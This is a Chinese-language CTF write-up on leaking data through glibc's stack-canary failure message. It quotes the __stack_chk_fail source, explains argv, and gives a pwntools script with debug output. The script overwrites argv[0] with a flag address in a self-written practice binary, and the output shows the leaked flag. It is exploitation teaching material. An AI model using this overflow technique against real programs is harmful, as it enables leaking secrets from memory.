0x00:函數原理源碼
在程序添加了canary保護后,如果我們讀取的bof覆蓋了對應的值時,程序就會報錯,我們可以利用報錯信息。
程序在啟動canary保護之后,如果發現canary被修改的話,程序就會執行__stack_chk_fail函數來打印argv[0]指針所指向的字符串,正常情況下,這個指針指向程序名。
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");//這里簡單理解成打印出報錯信息即可,也就是可 以泄露
}
0x01:命令行參數
main(int argc,char *argv[ ])
1.argc為整數
2.argv為指針的指針(可理解為:char **argv or: char *argv[] or: char argv[][] ,argv是一個指針數組)
注:main()括號內是固定的寫法。
3.下面給出一個例子來理解這兩個參數的用法:
假設程序的名稱為prog,
當只輸入prog,則由操作系統傳來的參數為:
argc=1,表示只有一程序名稱。
argc只有一個元素,argv[0]指向輸入的程序路徑及名稱:./prog
當輸入prog para_1,有一個參數,則由操作系統傳來的參數為:
argc=2,表示除了程序名外還有一個參數。
argv[0]指向輸入的程序路徑及名稱。
argv[1]指向參數para_1字符串。
當輸入prog para_1 para_2 有2個參數,則由操作系統傳來的參數為:
argc=3,表示除了程序名外還有2個參數。
argv[0]指向輸入的程序路徑及名稱。
argv[1]指向參數para_1字符串。
argv[2]指向參數para_2字符串。
4.void main( int argc, char *argv[] )
char *argv[] : argv 是一個指針數組,他的元素個數是argc,存放的是指向每一個參數的指針
chen@ubuntu:~$ ./ex0 "hello"
就命令行參數而言,ex0是程序名第一個參數,hello是命令行的第二個參數,都處存在數組中
gcc --args ./ex0 "hello" //args 其實就是把后面的參數當成命令行參數,存在棧上
//其實是下圖的argv[0]與argv[1],其實是存儲在stack上
tel //棧回溯,有點像解引用
p system //之類的是打印出符號的地址
0x03:泄露flag
正常情況下,p __libc_argv應該打印出棧地址,但不出來我就stack 100找到了
接下來就是修改棧指針指向flag,之后再棧溢出觸發報錯
就泄露奪得自己寫的flag
0x04:腳本層面
from pwn import *
#p = gdb.debug(args=['./ex0'],gdbscript='r')
p=process('./ex0')
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level='debug'
flag = 0x0804A060
payload = p32(0x0804A060)*0x80
gdb.attach(proc.pidof(p)[0],gdbscript='b *0x804853d')
p.sendline(payload)
pause()
p.recvuntil("}") //大部分flag以}結尾,當然這樣寫p.recvall()或p.recvline()都可以
細節說明:此題是想在執行python的那個界面看到flag,所以新打開的界面關了,在空格即可
[+] Starting local process './ex0': pid 3095
[DEBUG] Wrote gdb script to '/tmp/pwnseNWO4.gdb'
file "/home/chen/ex0"
b *0x804853d
[*] running in new terminal: /usr/bin/gdb -q "/home/chen/ex0" 3095 -x "/tmp/pwnseNWO4.gdb"
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/usr/bin/gdb -q "/home/chen/ex0" 3095 -x "/tmp/pwnseNWO4.gdb"']
[+] Waiting for debugger: Done
[DEBUG] Sent 0x201 bytes:
00000000 60 a0 04 08 60 a0 04 08 60 a0 04 08 60 a0 04 08 │`···│`···│`···│`···│
*
00000200 0a │·│
00000201
[*] Paused (press any to continue)
此處即可在關掉調試界面空格
[*] Process './ex0' stopped with exit code -6 (SIGABRT) (pid 3095)
[DEBUG] Received 0x38 bytes:
'*** stack smashing detected ***: {we_ha_we}\n'
' terminated\n'